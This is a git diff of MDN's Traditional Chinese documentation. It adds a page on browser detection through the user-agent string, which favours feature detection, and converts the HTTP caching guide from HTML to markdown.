diff --git a/files/zh-tw/web/http/browser_detection_using_the_user_agent/index.md b/files/zh-tw/web/http/browser_detection_using_the_user_agent/index.md new file mode 100644 index 00000000000000..9736ca2918e9cf --- /dev/null +++ b/files/zh-tw/web/http/browser_detection_using_the_user_agent/index.md @@ -0,0 +1,241 @@ +--- +title: 透過用戶代理偵測瀏覽器 +slug: Web/HTTP/Browser_detection_using_the_user_agent +translation_of: Web/HTTP/Browser_detection_using_the_user_agent +--- +{{HTTPSidebar}} + +針對不同的瀏覽器給予不同的網頁或服務,通常不是好主意:網路的原意,是要讓所有人都能訪問,無論他們使用何種瀏覽器或何種設備。你的網站可以透過基於(瀏覽器)功能可用性的漸進增強法開發,而不是特別指定某種瀏覽器。 + +不過瀏覽器與標準並不是完美的,有些特殊情況依舊需要偵測瀏覽器。透過用戶代理(user agent)去偵測瀏覽器看似簡單,要做好卻頗為困難。這份文件會盡可能引導你正確處理這種事。 + +> **備註:** 因為很重要所以再說一次:實行用戶代理嗅探(User Agent sniffing)通常不是好主意。問題通常都會有更好、更通用的解決方法! + +## 使用瀏覽器偵測前應當考慮什麼 + +在考慮透過用戶代理字串,去偵測使用瀏覽器時,首先要盡可能避免這種用法。先從認清**為什麼**要這麼做開始。 + +- 你正針對某瀏覽器的特定錯誤奮戰著? + - : 去專業論壇閱讀或提問:你不太可能是第一個碰上問題的人。另外,去找專家、或只是與你有不同觀點的人問問看,也會對你的除錯思路有所幫助。如果問題看來頗為罕見,你應該去檢查這個錯誤是不是透過缺陷跟蹤管理系統(bug tracking system:[Mozilla](https://bugzilla.mozilla.org)、[WebKit](http://bugs.webkit.org)、[Blink](https://www.chromium.org/issue-tracking)、[Opera](https://bugs.opera.com/))報告到瀏覽器供應商。瀏覽器供應商很重視錯誤報告,相關分析也可能提示該錯誤的其他解決辦法。 +- 你正試圖檢查某個特定功能是否存在? + - : 你的網站需要用到某些瀏覽器不支援的功能,並給這些用戶功能更少,但你知道能正常顯示的網站。這類用戶代理嗅探的理由非常糟糕,因為大多數的瀏覽器,最終都有可能支援該功能。對所有瀏覽器都予以測試也不實際。**絕對不要**用戶代理嗅探、功能偵測是**永遠**的替代方案。 +- 你希望給不同的瀏覽器不同的 HTML? + - : 這種作法通常不太好,不過有時候卻是必要的。在此種情況下,你首先要分析是否真該這麼做。你能藉由加入某些無語意的 {{ HTMLElement("div") }} 或 {{ HTMLElement("span") }} 元素避免嗎?與難以完成的用戶代理偵測比起來,HTML 整潔性的稍稍降低變得相當值得。另外,請重新構思你的設計:你能藉由漸進增強或是流動排版(fluid layouts)來消除用戶代理偵測的需求嗎? + +## 避免用戶代理偵測 + +如果要避免用戶代理偵測,有以下選項! + +- 功能偵測 + - : 功能偵測使你無須弄清是哪種瀏覽器在渲染你的網頁,只須檢查需要的具體功能是否能用。如果不能用,就採取備用方案。在極少數的情況下,各瀏覽器行為有所不同。面對這種情況,不要偵測用戶代理,而是用實作測試來檢查瀏覽器 API、並搞清楚用法。最近有個好例子:[Chrome 針對正規表達式,添加了實驗性的 lookbehind 支援](https://www.chromestatus.com/feature/5668726032564224),但其他瀏覽器並不支援。你可能以為要這麼用: + + ```js + // 這個程式以特殊表示法把字串分開來 + + if (navigator.userAgent.indexOf("Chrome") !== -1){ + // 好,這用戶應該是支援 look-behind regexps + // 不要在不支援該功能的瀏覽器使用 /(?<=[A-Z])/ + // 因為瀏覽器都會解析整個腳本,包括從未執行過的代碼部分。 + // 進而讓不支援該功能的瀏覽器拋出語法錯誤。 + var camelCaseExpression = new RegExp("(?<=[A-Z])"); + var splitUpString = function(str) { + return (""+str).split(camelCaseExpression); + }; + } else { + /* 這個語法的性能差得多,但能動 */ + var splitUpString = function(str){ + return str.replace(/[A-Z]/g,"z$1").split(/z(?=[A-Z])/g); + }; + } + console.log(splitUpString("fooBare")); // ["fooB", "are"] + console.log(splitUpString("jQWhy")); // ["jQ", "W", "hy"] + ``` + + 但這程式其實很糟糕、考慮也很不周到。如果 Chrome 把 lookbehind 這功能移走呢?如果其他瀏覽器支援了 lookbehind 正規表達式呢?如果其他瀏覽器在用戶代理名字內,混入了 _Chrome_ 呢?這個列表會因此,讓可怕的錯誤不斷發生。因此,你應該用以下的功能檢測: + + ```js + var isLookBehindSupported = false; + try { + isLookBehindSupported = !!new RegExp("(?<=)"); + } catch(e){ + // 不支援的瀏覽器會出現 lookbehind expressions err + } + var splitUpString = isLookBehindSupported ? function(str) { + return (""+str).split(new RegExp("(?<=[A-Z])")); + } : function(str) { + return str.replace(/[A-Z]/g,"z$1").split(/z(?=[A-Z])/g); + }; + ``` + + 這程式**一定**會讓瀏覽器在不嗅探用戶代理的情況下測試功能。要作類似這樣的事情,**完全沒有**動用用戶代理嗅探的理由。 + + 最後,上面的程式碼還附帶一個必須考量的,有關跨瀏覽器的關鍵問題:不要在不支援的瀏覽器,使用到要測試的API。這聽來簡單,但有時候不是這樣:同樣以上面為例,在簡寫正規表達式使用 lookbehind(如 `/reg/igm`)會讓不支援該功能瀏覽器的解析器出錯。因此,你需要使用 _new RegExp("(?<=look_behind_stuff)");_ 而非 _/(?<=look_behind_stuff)/_,哪怕 lookbehind 已經支援了。 +- 漸進增強(Progressive Enhancement) + - : 此設計技術與網站開發的「層次」有關:它運用下而上的途徑、從簡單的層次開始,透過一連串的層次,漸漸增強網站的能力。 +- 優雅降級(Graceful degradation) + - : 這種由上而下的途徑,是先在建造網站時,就用上所有需要的功能,再調整到令舊版瀏覽器也能執行。這種途徑與漸進增強相比,難度更高、效率也更糟,不過在某些情況下也可能更管用。 +- 行動設備偵測(Mobile Device Detection) + - : 檢查是否透過行動設備上網,大概是用戶代理嗅探最常見的用途與誤用。偵測後要作什麼事,卻往往是被忽略的問題所在。開發者通常透過用戶代理嗅探,將用戶設備導向至易於觸碰的小螢幕,以便加強網站體驗。 + + 用戶代理這方面有時有用,但問題是所有設備不完全相同:有些行動設備的尺寸很大、有些桌機有一小塊觸控螢幕、有些人使用完全是不同世界的智慧型電視、甚至還有藉由翻轉平板、來動態改變設備長寬的人! + + 因此,用戶代理嗅探絕不是好辦法。但是,還有更好的選擇:例如使用 [Navigator.maxTouchPoints](/zh-TW/docs/Web/API/Navigator/maxTouchPoints) 來檢查用戶設備有沒有觸控螢幕;接著在 _if (!("maxTouchPoints" in Navigator)) { /*程式寫在這*/}_ 時,就切回用戶代理檢查。利用這個訊息,來檢查設備有沒有觸控螢幕。 + + 不要為了觸控設備,就換掉整個排版。這只會讓自己更費工、維護更頭痛;而是加點讓觸摸更便利的東西:像是好按的按鈕(這可以透過在 CSS 增加字體大小完成)。以下是針對 #exampleButton 在手機環境時,增加 1em 的程式範例: + + ```js + var hasTouchScreen = false; + if ("maxTouchPoints" in navigator) { + hasTouchScreen = navigator.maxTouchPoints > 0; + } else if ("msMaxTouchPoints" in navigator) { + hasTouchScreen = navigator.msMaxTouchPoints > 0; + } else { + var mQ = window.matchMedia && matchMedia("(pointer:coarse)"); + if (mQ && mQ.media === "(pointer:coarse)") { + hasTouchScreen = !!mQ.matches; + } else if ('orientation' in window) { + hasTouchScreen = true; // depedicated, but good fallback + } else { + // Only as a last resort, fall back to user agent sniffing + var UA = navigator.userAgent; + hasTouchScreen = ( + /\b(BlackBerry|webOS|iPhone|IEMobile)\b/i.test(UA) || + /\b(Android|Windows Phone|iPad|iPod)\b/i.test(UA) + ); + } + } + if (hasTouchScreen) + document.getElementById("exampleButton").style.padding="1em"; + ``` + + 針對螢幕尺寸,則使用 _window.innerWidth_ 與 _window.addEventListener("resize", function(){ /*更新螢幕尺寸依賴的東西*/ })_。 + + 不要刪減小螢幕能看到的資訊,這只會激怒被逼著切到桌面版的用戶們;而是應該針對小螢幕,提供行列更少,但頁面更長的資訊;針對大螢幕,則提供行列更多,但頁面更短的資訊。這種效果能透過 [flexboxes](/zh-TW/docs/Learn/CSS/CSS_layout/Flexbox) 實現。如果需要有限支援舊版本,請使用 [floats](/zh-TW/docs/Learn/CSS/CSS_layout/Floats) 屬性。 + + 另外,試著把不相關或不重要的資訊放到下面、然後把資料放得有意義。然後雖然有點離題,但下面的詳細示例,可能會給你有力的見解和想法,放棄用戶代理嗅探。 + + 我們先想像一個由各種貓貓或狗狗的訊息框,所組成的頁面;每個訊息框都有圖片、概覽、還有歷史趣聞;而圖片即使在大螢幕上,也要保持最大的合理尺寸。為了讓內容有意義的排列在一起,所有的貓貓訊息框都和狗狗訊息框分開、兩種動物都不會混在一起。在大螢幕上,會節省具有多列的空間,從而減少了圖片左右兩側的間距。訊息框則會透過平分而被拆分為多列。 + + 現在我們能假設在原始碼裡面,狗狗訊息框都在上面、而貓貓訊息框都在下面。而這兩個框框都在同一個父元素之下。很明顯,有一個狗狗訊息框,就在貓貓訊息框的上面。第一個方法,就是使用水平的 [Flexbox](/zh-TW/docs/Learn/CSS/CSS_layout/Flexbox) 把內容組合起來。這樣,當頁面顯示給最終用戶時,狗狗訊息框就在頁面上方、而貓貓訊息框就在頁面下方;第二個方法,就是使用 [Column](/zh-TW/docs/Web/CSS/Layout_cookbook/Column_layouts) layout and resent 把所有的狗狗與貓貓排到右邊。在這種情況下,就能給沒有 flexboxes/multicolumns 的老舊版本提供適當的呈現:他們會呈現一列非常寬的框。 + + 再考慮一下這個例子:如果有人是想來看貓貓的,那我們就可以在原始碼裡面,把貓貓放到狗狗的上面。這樣一來,更多的人就可以在更小的螢幕上(內容折疊成一列)更快找到需要的內容。 + + 接著,確保程式是動態性的。用戶可以翻轉手機,以改變頁面長寬;或是未來使用某些類似功能的怪設備。不要為了用戶翻轉行為焦頭額爛、在使用開發工具確實檢查前也不要自滿。實踐的最佳辦法,就是在一個函式內透過螢幕尺寸,把所有可移動內容的程式分開。而分開這些程式的觸發點,則放在頁面載入、或觸動 [resize](/zh-TW/docs/Web/API/Window/resize_event) 事件時。如果載入新佈局頁面前,需要在函式內計算很多東西,請考慮對事件偵聽器使用 debouncing 以避免過度呼叫。 + + 另請注意,`(max-width: 25em)`, `not all and (min-width: 25em)`, and `(max-width: 24.99em)`是不一樣的:`(max-width: 25em)` 會排除 `(max-width: 25em)`;而 `not all and (min-width: 25em)` 則包含了 `(max-width: 25em)`。`(max-width: 24.99em)` 是仆街版的 `not all and (min-width: 25em)`。不要用 `(max-width: 24.99em)`,因為在字型很大、或解析度很高時,版面*可能*會跑掉。謹慎選擇正確的 media query、以及在 Javascript 正確使用 >=, <=, >, < 等運算符。因為 Javascript 可能把這些東西都混為一談,然後你的網站就會在某些尺寸下亂閃亂排。因此,徹底測試在不同寬高下,網站會怎麼改變,以確保佈局不出錯。 + +## 把用戶代理嗅探搞到最好 + +在探討所有能替代用戶代理嗅探的方法後,還是可能會有合理的理由,用到用戶代理嗅探。 + +其中一個例子,就是透過用戶代理嗅探,提供觸控螢幕的支援。詳請參閱上面的「行動設備偵測」章節。另一個例子,則是修復在沒有自動更新功能的瀏覽器上,所發生的錯誤。Windows 的 Internet Explorer 與 iOS 的 Webkit 就是個好實例。 + +Internet Explorer 在第九代以前,有著各種難以置信的問題。問題涵蓋了渲染、CSS、API 等方方面面。不過 IE9 之前的版本,是個相當~~機車~~特殊的例外。我們可以輕易透過該瀏覽器的特定功能,檢測到相關訊息。 + +蘋果強迫所有瀏覽器使用 Webkit 核心,所以 Webkit 的情形更糟糕;用戶也無法在舊設備上,得到更新的瀏覽器。大多數錯誤都能找出來,但某些錯誤,需要花更多時間抓出來。在這種情況下,使用用戶代理嗅探來可能是更有益的。 + +```js +var UA=navigator.userAgent, isWebkit=/\b(iPad|iPhone|iPod)\b/.test(UA) && + /WebKit/.test(UA) && !/Edge/.test(UA) && !window.MSStream; + +var mediaQueryUpdated = true, mqL = []; +function whenMediaChanges(){mediaQueryUpdated = true} + +var listenToMediaQuery = isWebkit ? function(mQ, f) { + if(/height|width/.test(mQ.media)) mqL.push([mQ, f]); + mQ.addListener(f), mQ.addListener(whenMediaChanges); +} : function(){}; +var destroyMediaQuery = isWebkit ? function(mQ) { + for (var i=0,len=mqL.length|0; i= version 79 (see 'Blink'). | +| Blink | Chrome/xyz | | + +## 排版引擎版本 + +除了 Gecko 這個著名的例外,多數排版引擎版本的 token 通常會是 _RenderingEngine/VersionNumber_(排版引擎/版本號)。Gecko 把版本號放在用戶代理內,位於 `rv:` 字串後的註解部份。但在 Gecko 14(攜帶版)或 Gecko 17(桌面版)以後,版本號也出現在 Gecko/version token 裡面(之前的版本則是寫建置日期、固定的日期則呼叫 GeckoTrail)。 + +## 作業系統 + +大多數的用戶代理都會表明自己固定字符串在個作業系統上運行(儘管如 Firefox OS 這種以網路為中心的平台並沒有這樣做),不過格式的差異卻頗大。它是個固定字串,位於用戶代理註解部份的兩個分號間。對每個瀏覽器而言。這些字串是特定的。這些字串給出了作業系統、通常也給出他們的版本以及在哪個設備上運作(32 位元或 64 位元、抑或 Mac 的 Intel/PPC)。 + +如同其他個案,這些字串可能在未來會有所變動,只應該用於檢測已經出現的瀏覽器。在瀏覽器的新版本出現後,也要進行技術研究,以確保程式能夠適應。 + +### 手機、平板、桌機 + +最常實行用戶代理嗅探的理由,是判別瀏覽器是在哪個設備執行。這麼做的目的是提供不同類型的 HTML 內容給不同類型的上網設備。 + +- 絕對不要假設某個瀏覽器或排版引擎,只在某種類型的設備執行。更不要對不同的瀏覽器或排版引擎,給予不同的預設值。 +- 也絕對不要用 OS token 來定義該瀏覽器在手機、平板、抑或桌機上執行。作業系統可能在不只一種設備運作。例如,Android 可以在手機、也可以在平板上運作。 + +以下表格概括了主要的瀏覽器製造者,如何表明它們的瀏覽器在手機上運作: + +| 瀏覽器 | 規則 | 示例 | +| ------------------------------------------------ | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| Mozilla (Gecko, Firefox) | 註解內的 [**Mobile** 或 **Tablet** token](/zh-TW/docs/Gecko_user_agent_string_reference) | Mozilla/5.0 (Android; Mobile; rv:13.0) Gecko/13.0 Firefox/13.0 | +| WebKit-based (Android, Safari) | 註解外的 [**Mobile Safari** token](https://developer.apple.com/library/safari/documentation/AppleApplications/Reference/SafariWebContent/OptimizingforSafarioniPhone/OptimizingforSafarioniPhone.html#//apple_ref/doc/uid/TP40006517-SW3) | Mozilla/5.0 (Linux; U; Android 4.0.3; de-ch; HTC Sensation Build/IML74K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 | +| Blink-based (Chromium, Google Chrome, Opera 15+) | 註解外的 [**Mobile Safari** token](https://developers.google.com/chrome/mobile/docs/user-agent) | Mozilla/5.0 (Linux; Android 4.4.2); Nexus 5 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.117 Mobile Safari/537.36 OPR/20.0.1396.72047 | +| Presto-based (Opera 12-) | 註解內的 [**Opera Mobi/xyz** token](http://my.opera.com/community/openweb/idopera/) (Opera 12-) | Opera/9.80 (Android 2.3.3; Linux; Opera Mobi/ADR-1111101157; U; es-ES) Presto/2.9.201 Version/11.50 | +| Internet Explorer | 註解內的 **IEMobile/xyz** | Mozilla/5.0 (compatible; MSIE 9.0; Windows Phone OS 7.5; Trident/5.0; IEMobile/9.0) | + +總之,我們建議藉著找出用戶代理的「Mobi」字串,來偵測行動設備。 + +> **備註:** 如果設備尺寸夠大的話,它就不會標示「Mobi」。針對這種情形,你應該提供桌面版網站。另外,因為最近桌面設備的觸控螢幕越來越多,為了提供最佳習慣,網站應該支援觸控輸入。 diff --git a/files/zh-tw/web/http/caching/index.html b/files/zh-tw/web/http/caching/index.html deleted file mode 100644 index 3cfe3ee284a0c5..00000000000000 --- a/files/zh-tw/web/http/caching/index.html +++ /dev/null @@ -1,190 +0,0 @@ ---- -title: HTTP caching -slug: Web/HTTP/Caching -translation_of: Web/HTTP/Caching -tags: - - Caching - - 快取 - - Guide - - 指引 - - HTTP - - 超文本傳輸協定 ---- -
{{HTTPSidebar}}
- -

藉由重複使用先前取過的資源,網站與網頁應用程式能夠顯著地提升效能。caching可以減少網路傳輸量以降低一個資源可展示的延遲時間。善用 HTTP caching可以讓網站可以回應更多請求。

- -

不同種類的快取

- -

快取是一種儲存伺服器回復的訊息且用此存檔回覆給請求者的技術。當快取伺服器有存者一份請求檔案的回覆,快取伺服器會攔截此請求訊息,回覆給請求者存在快取上的檔案,而不是從請求者請求的網頁伺服器去請求原始檔案。這樣的運作機制能達成下列幾個目的:讓網頁伺服器不用處理每個從客戶端發出的請求,減輕機器運作的負擔。且由於傳輸起點距離更接近請求端,能讓整體請求的過程效能更加,整體請求需要更少的時間傳送資源。對一個要達成高效能的網站來講,快取一個很重要的一塊。另一方面來講,快取的請求、回復、儲存機制必須設定好,別讓存在快取伺服器的檔案都是同一個:重要的是當資源改變才去使用快取,而不是一直存放著。

- -

快取有好幾種,但他們可以分為兩大類:共用和私有的快取。共用的快取定義是指快取伺服器上存的回覆能給好幾個不同的請求者服務。而私有的快取就相對只會服務一個請求者。此頁面講到的快取大部分都是指代理伺服器和瀏覽器的快取,但是快取還有像是閘道器快取、CDN快取、反向代理伺服器快取 、負載平衡器快取,它們都是部屬在網頁伺服器那邊,讓網站和網頁應用程式更加穩定,效能更好,且有更好的擴增姓。

- -

What a cache provide, advantages/disadvantages of shared/private caches.

- -

瀏覽器私有的快取

- -

私有的快取只會服務一個使用者。你可能已經在設定瀏覽器的時候看過快取了。一個瀏覽器快取會存放所有透過HTTP協定下載的檔案。這類型的快取是為了方便使用者上下頁移動、存檔、或者檢視檔案原始碼等等,讓使用者不用再次向原始伺服器請求檔案。此機制同樣的增進線下瀏覽快取。

- -

代理伺服器的共用快取

- -

一個共用的快取伺服器,是指快取存放者能讓多位使用者請求的檔案副本。舉例來說,ISP或者你的公司內部網路可能會設置代理伺服器,用來服務每個使用者,讓一些較常用的檔案可以重複使用多次,減少網路交通的流量。

- -

Targets of caching operations

- -

HTTP caching is optional, but reusing a cached resource is usually desirable. However, common HTTP caches are typically limited to caching responses to {{HTTPMethod("GET")}} and may decline other methods. The primary cache key consists of the request method and target URI (oftentimes only the URI is used as only GET requests are caching targets). Common forms of caching entries are:

- -
    -
  • Successful results of a retrieval request: a {{HTTPStatus(200)}} (OK) response to a {{HTTPMethod("GET")}} request containing a resource like HTML documents, images or files.
  • -
  • Permanent redirects: a {{HTTPStatus(301)}} (Moved Permanently) response.
  • -
  • Error responses: a {{HTTPStatus(404)}} (Not Found) result page.
  • -
  • Incomplete results: a {{HTTPStatus(206)}} (Partial Content) response.
  • -
  • Responses other than {{HTTPMethod("GET")}} if something suitable for use as a cache key is defined.
  • -
- -

A cache entry might also consist of multiple stored responses differentiated by a secondary key, if the request is target of content negotiation. For more details see the information about the {{HTTPHeader("Vary")}} header below.

- -

控制快取

- -

Cache-control 檔頭

- -

{{HTTPHeader("Cache-Control")}} 是HTTP/1.1用來特別指令快取如何處理回覆和要求的通用檔頭欄位。使用此欄位和多種的指令,來定義你的快取機制。

- -

不要存任何快取

- -

快取不該存取任何的使用者請求或者伺服器的回覆。每個請求都是送到原始的伺服器去取得資源。

- -
Cache-Control: no-store
-
- -

快取需存取,但是要重新驗證

- -

快取伺服器在把已儲存的複製版本傳給請求者之前,先會送一個請求給網頁伺服器做驗證。

- -
Cache-Control: no-cache
- -

私有或共用的快取

- -

共用(Public)這個指令指出此回覆訊息可以由任何快取給存取。這點可以變成很有用處,假如頁面有不容易快取成功的HTTP驗證的訊息或者回覆狀態碼,現在應該很容易被存取了。

- -

相對的,私有(Private)的指令指示快取只給一個使用者使用,且不能被共用的快取伺服器給儲存過。隱私視窗(無痕模式)的快取就可能是這樣子。

- -
Cache-Control: private
-Cache-Control: public
-
- -

有效期限

- -

在這裡最重要的指令就是"max-age=<seconds>" ,意思是指存放在快取伺服器上的資源有剩下多少時間被認定還是新鮮的。 跟{{HTTPHeader("Expires")}}不太一樣,這個檔頭欄位快取指的是請求此回覆的日期和時間。對於程式中不常更新的檔案,你可以積極地使用此機制。這些檔案包含了,圖檔、CSS、Javascripts檔案等等。

- -

想要了解更多的話,請參見下面的Freshness

- -
Cache-Control: max-age=31536000
- -

驗證

- -

當使用"must-revalidate"指令時,快取伺服器一定要先發送請求訊息給網頁伺服器驗證,請已經確認是過有效期限且檔案有更新的回覆的話,舊的檔案就不能使用。假如想了解更多,請參見下面的Validation

- -
Cache-Control: must-revalidate
- -

Pragma檔頭欄位

- -

{{HTTPHeader("Pragma")}} 是HTTP/1.0的檔頭欄位,此檔頭欄位沒有特別指是HTTP回覆怎麼處理,所以用此來取代HTTP/1.1 Cache-Control通用檔頭欄位並不是很穩定。假如Cache-Control 檔頭欄位在傳送請求訊息時被省略掉了,此檔頭欄位運作的結果跟 Cache-Control: no-cache一樣。此Pragma欄位只能跟 HTTP/1.0的請求者使用。

- -

Freshness

- -

Once a resource is stored in a cache, it could theoretically be served by the cache forever. Caches have finite storage so items are periodically removed from storage. This process is called cache eviction. On the other side, some resources may change on the server so the cache should be updated. As HTTP is a client-server protocol, servers can't contact caches and clients when a resource changes; they have to communicate an expiration time for the resource. Before this expiration time, the resource is fresh; after the expiration time, the resource is stale. Eviction algorithms often privilege fresh resources over stale resources. Note that a stale resource is not evicted or ignored; when the cache receives a request for a stale resource, it forwards this request with a {{HTTPHeader("If-None-Match")}} to check if it is in fact still fresh. If so, the server returns a {{HTTPStatus("304")}} (Not Modified) header without sending the body of the requested resource, saving some bandwidth.

- -

Here is an example of this process with a shared cache proxy:

- -

Show how a proxy cache acts when a doc is not cache, in the cache and fresh, in the cache and stale.

- -

The freshness lifetime is calculated based on several headers. If a "Cache-Control: max-age=N" header is specified, then the freshness lifetime is equal to N. If this header is not present, which is very often the case, it is checked if an {{HTTPHeader("Expires")}} header is present. If an Expires header exists, then its value minus the value of the {{HTTPHeader("Date")}} header determines the freshness lifetime.

- -

Heuristic freshness checking

- -

If an origin server does not explicitly specify freshness (e.g. using {{HTTPHeader("Cache-Control")}} or {{HTTPHeader("Expires")}} header) then a heuristic approach may be used.

- -

In this case look for a {{HTTPHeader("Last-Modified")}} header. If this header is present, then the cache's freshness lifetime is equal to the value of the Date header minus the value of the Last-modified header divided by 10. The expiration time is computed as follows:

- -
expirationTime = responseTime + freshnessLifetime - currentAge
- -

where responseTime is the time at which the response was received according to the browser. For more information see RFC 7234: Hypertext Transfer Protocol (HTTP/1.1): 4.2.2. Calculating Heuristic Freshness.

- -

Revved resources

- -

The more we use cached resources, the better the responsiveness and the performance of a Web site will be. To optimize this, good practices recommend to set expiration times as far in the future as possible. This is possible on resources that are regularly updated, or often, but is problematic for resources that are rarely and infrequently updated. They are the resources that would benefit the most from caching resources, yet this makes them very difficult to update. This is typical of the technical resources included and linked from each Web pages: JavaScript and CSS files change infrequently, but when they change you want them to be updated quickly.

- -

Web developers invented a technique that Steve Souders called revving[1]. Infrequently updated files are named in a specific way: in their URL, usually in the filename, a revision (or version) number is added. That way each new revision of this resource is considered as a resource on its own that never changes and that can have an expiration time very far in the future, usually one year or even more. In order to have the new versions, all the links to them must be changed, that is the drawback of this method: additional complexity that is usually taken care of by the tool chain used by Web developers. When the infrequently variable resources change they induce an additional change to often variable resources. When these are read, the new versions of the others are also read.

- -

This technique has an additional benefit: updating two cached resources at the same time will not lead to the situation where the out-dated version of one resource is used in combination with the new version of the other one. This is very important when web sites have CSS stylesheets or JS scripts that have mutual dependencies, i.e., they depend on each other because they refer to the same HTML elements.

- -

How the revved cache mechanism works. With minor typo fix to grammar issue: https://github.com/mdn/sprints/issues/2618

- -

The revision version added to revved resources doesn't need to be a classical revision string like 1.1.3, or even a monotonously growing suite of number. It can be anything that prevent collisions, like a hash or a date.

- -

Cache validation

- -

When a cached document's expiration time has been reached, it is either validated or fetched again. Validation can only occur if the server provided either a strong validator or a weak validator.

- -

Revalidation is triggered when the user presses the reload button. It is also triggered under normal browsing if the cached response includes the "Cache-Control: must-revalidate" header. Another factor is the cache validation preferences in the Advanced->Cache preferences panel. There is an option to force a validation each time a document is loaded.

- -

ETags

- -

The {{HTTPHeader("ETag")}} response header is an opaque-to-the-useragent value that can be used as a strong validator. That means that a HTTP user-agent, such as the browser, does not know what this string represents and can't predict what its value would be. If the ETag header was part of the response for a resource, the client can issue an {{HTTPHeader("If-None-Match")}} in the header of future requests – in order to validate the cached resource.

- -

Last-Modified

- -

The {{HTTPHeader("Last-Modified")}} response header can be used as a weak validator. It is considered weak because it only has 1-second resolution. If the Last-Modified header is present in a response, then the client can issue an {{HTTPHeader("If-Modified-Since")}} request header to validate the cached document.

- -

When a validation request is made, the server can either ignore the validation request and respond with a normal {{HTTPStatus(200)}} OK, or it can return {{HTTPStatus(304)}} Not Modified (with an empty body) to instruct the browser to use its cached copy. The latter response can also include headers that update the expiration time of the cached document.

- -

Varying responses

- -

The {{HTTPHeader("Vary")}} HTTP response header determines how to match future request headers to decide whether a cached response can be used, or if a fresh one must be requested from the origin server.

- -

When a cache receives a request that has a Vary header field, it must not use a cached response by default unless all header fields specified in the Vary header match in both the original (cached) request and the new request.

- -

The Vary header leads cache to use more HTTP headers as key for the cache.This feature is commonly used to allow a resource to be cached in uncompressed and (various) compressed forms, and served appropriately to user agents based on the encodings that they support. For example, a server can set Vary: Accept-Encoding to ensure that a separate version of a resource is cached for all requests that specify support for a particular set of encodings, e.g. Accept-Encoding: gzip,deflate,sdch.

- -
Vary: Accept-Encoding
- -
-

Note

-

Use Vary with care—it can easily reduce the effectiveness of caching! A caching server should use normalization to reduce duplicated cache entries and unnecessary requests to the origin server. This is particularly true when using Vary with headers and header values that can have many values.

-
- -

The Vary header can also be useful for serving different content to desktop and mobile users, or to allow search engines to discover the mobile version of a page (and perhaps also tell them that no Cloaking is intended). This is usually achieved with the Vary: User-Agent header, and works because the {{HTTPHeader("User-Agent")}} header value is different for mobile and desktop clients.

- -
Vary: User-Agent
- -

Normalization

- -

As discussed above, caching servers will by default match future requests only to requests with exactly the same headers and header values. That means a request will be made to the origin and a new cache will be created for every slight variant that might be specified by different user-agents.

- -

For example, by default all of the following result in a separate request to the origin and a separate cache entry: Accept-Encoding: gzip,deflate,sdch, Accept-Encoding: gzip,deflate, Accept-Encoding: gzip. This is true even though the origin server will probably respond with — and store — the same resource for all requests (a gzip)!

- -

To avoid unnecessary requests and duplicated cache entries, caching servers should use normalization to pre-process the request and cache only files that are needed. For example, in the case of Accept-Encoding you could check for gzip and other compression types in the header before doing further processing, and otherwise unset the header. In "pseudo code" this might look like:

- -
// Normalize Accept-Encoding
-if (req.http.Accept-Encoding) {
-  if (req.http.Accept-Encoding ~ "gzip") {
-    set req.http.Accept-Encoding = "gzip";
-  }
-  // elsif other encoding types to check
-else {
-  unset req.http.Accept-Encoding;
-  }
-}
-
- -

User-Agent has even more variation than Accept-Encoding. So if using Vary: User-Agent for caching mobile/desktop variants of files you'd similarly check for the presence of "mobile" and "desktop" in the request User-Agent header, and then clear it.

- -

See also

- - diff --git a/files/zh-tw/web/http/caching/index.md b/files/zh-tw/web/http/caching/index.md new file mode 100644 index 00000000000000..ec1b44ac287ea2 --- /dev/null +++ b/files/zh-tw/web/http/caching/index.md @@ -0,0 +1,198 @@ +--- +title: HTTP caching +slug: Web/HTTP/Caching +tags: + - Caching + - 快取 + - Guide + - 指引 + - HTTP + - 超文本傳輸協定 +translation_of: Web/HTTP/Caching +--- +{{HTTPSidebar}} + +藉由重複使用先前取過的資源,網站與網頁應用程式能夠顯著地提升效能。caching 可以減少網路傳輸量以降低一個資源可展示的延遲時間。善用 HTTP caching 可以讓網站可以回應更多請求。 + +## 不同種類的快取 + +快取是一種儲存伺服器回復的訊息且用此存檔回覆給請求者的技術。當快取伺服器有存者一份請求檔案的回覆,快取伺服器會攔截此請求訊息,回覆給請求者存在快取上的檔案,而不是從請求者請求的網頁伺服器去請求原始檔案。這樣的運作機制能達成下列幾個目的:讓網頁伺服器不用處理每個從客戶端發出的請求,減輕機器運作的負擔。且由於傳輸起點距離更接近請求端,能讓整體請求的過程效能更加,整體請求需要更少的時間傳送資源。對一個要達成高效能的網站來講,快取一個很重要的一塊。另一方面來講,快取的請求、回復、儲存機制必須設定好,別讓存在快取伺服器的檔案都是同一個:重要的是當資源改變才去使用快取,而不是一直存放著。 + +快取有好幾種,但他們可以分為兩大類:共用和私有的快取。共用的快取定義是指快取伺服器上存的回覆能給好幾個不同的請求者服務。而私有的快取就相對只會服務一個請求者。此頁面講到的快取大部分都是指代理伺服器和瀏覽器的快取,但是快取還有像是閘道器快取、CDN 快取、反向代理伺服器快取 、負載平衡器快取,它們都是部屬在網頁伺服器那邊,讓網站和網頁應用程式更加穩定,效能更好,且有更好的擴增姓。 + +![What a cache provide, advantages/disadvantages of shared/private caches.](/en-US/docs/Web/HTTP/Caching/http_cache_type.png) + +### 瀏覽器私有的快取 + +私有的快取只會服務一個使用者。你可能已經在設定瀏覽器的時候看過快取了。一個瀏覽器快取會存放所有透過 HTTP 協定下載的檔案。這類型的快取是為了方便使用者上下頁移動、存檔、或者檢視檔案原始碼等等,讓使用者不用再次向原始伺服器請求檔案。此機制同樣的增進線下瀏覽快取。 + +### 代理伺服器的共用快取 + +一個共用的快取伺服器,是指快取存放者能讓多位使用者請求的檔案副本。舉例來說,ISP 或者你的公司內部網路可能會設置代理伺服器,用來服務每個使用者,讓一些較常用的檔案可以重複使用多次,減少網路交通的流量。 + +## Targets of caching operations + +HTTP caching is optional, but reusing a cached resource is usually desirable. However, common HTTP caches are typically limited to caching responses to {{HTTPMethod("GET")}} and may decline other methods. The primary cache key consists of the request method and target URI (oftentimes only the URI is used as only GET requests are caching targets). Common forms of caching entries are: + +- Successful results of a retrieval request: a {{HTTPStatus(200)}} (OK) response to a {{HTTPMethod("GET")}} request 